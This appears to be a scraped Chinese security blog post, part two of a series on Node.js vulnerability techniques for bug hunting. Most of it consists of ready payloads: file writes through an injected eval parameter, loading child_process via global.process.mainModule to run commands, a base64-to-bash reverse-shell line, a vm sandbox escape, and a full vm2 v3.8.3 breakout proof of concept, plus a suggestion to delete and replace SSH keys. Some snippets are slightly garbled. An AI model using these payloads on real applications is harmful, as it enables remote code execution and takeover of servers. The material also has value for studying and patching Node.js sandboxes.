挖洞经验之nodejs 中的漏洞技巧( 二 )


Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync() 。

挖洞经验之nodejs 中的漏洞技巧

文章插图
 
并且我们可以利用fs模块来进行目录的查看:
fs.readdir(path, callback)
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
除此之外进行文件的写入也可以,直接写入一个js文件通过调用child_process来编写一个shell 。
eval=require(%22fs%22).writeFileSync('input.txt', 'sss')
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
如果具有权限,完全还可以利用unlink把ssh key给删除然后在重新写入 。
关于nodejs中spawn与exec的区别异步函数spawn是最基本的创建子进程的函数,其他三个异步函数都是对spawn不同程度的封装,即exec,execfile,fork 。
所以他们的区别就是spawn只能运行指定的程序,参数需要在列表中给出,而exec可以直接运行复杂的命令 。
要运行du -sh /disk1命令, 使用spawn函数需要写成spawn('du', [''-sh ', '/disk1']),而使用exec函数时,可以直接写成exec('du -sh /disk1') 。
当require被禁用时我们可以使用通过global全局对象加载模块来调用子进程 。
global.process.mainModule.constructor._load('child_process').exec('ls');利用Function进行执行:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();利用setInterval进行命令执行:
setInteval(function, 2000)#即间隔两秒利用setTimeout进行命令执行:
setTimeout(function, 2000)#即两秒后执行关于反弹shell在nodejs当中与java有些类似,反弹shell需要进行一些额外的编码解码才能够规避掉一些敏感词,例如+号
shell反弹:code=require('child_process').exec('cmd'|base64 -d|bash');对于vm&&vm2vm2调用者vm的api,vm2在vm的基础上创建了一层沙箱 。
在创建vm环境时,主要就是创建一个隔绝的环境,将执行代码放入隔绝的上下文当中 。
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
在这里vm.Script(code)就是我们要执行的部分,而vm.createContext(example)是创建的隔离对象,但是example并没有被进行限制,导致能够访问原型,根据上面的图我们可以构造欻匿名函数:
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
所以,在vm当中逃逸就用到了这种创建函数的方式:
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
因为这个函数的是依托于main函数,所以逃脱了限制 。
进一步执行命令也就是利用含函数调用child_process以及mainMoudle来进行 。
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
对于vm2,vm2拦截了对 constructor 和 __proto__ 属性的访问,导致我们无法逃脱沙箱,挂载在原型下,而vm2的sadbox.js对常见的命令执行的函数进行了过滤,比如 setTimeout,setInterval 等 。
通常对于vm2调用方法就简便上一些:
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
而这其中其实现的方式与vm是相同的 。
const script = new VMScript("let test = 1;test");(vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()");(vm1) let vm = new VM()(vm2)-->const context = vm.createContext(sandbox) (vm1) vm.run(script) (vm2) -->dir = cmd.runInContext(context)(vm1)对于第二步,在其中就是创建了一个沙箱环境:
1. 调用vm.createContext创建上下文context2. 调用lib目录下的sandbox.js对其进行封装,生成一个匿名函数3. 将这个匿名函数的this为context导致我们无法对其造成污染:
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
追溯在github当中可以发现一些绕过的方法:
Breakout in v3.6.9:https://github.com/patriksimek/vm2/issues/186
Breakout in v3.8.3:https://github.com/patriksimek/vm2/issues/225
#Breakout in v3.8.3"use strict";const {VM} = require('vm2');const untrusted = '(' + function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}}+')()';try{console.log(new VM().run(untrusted));}catch(x){console.log(x);}


推荐阅读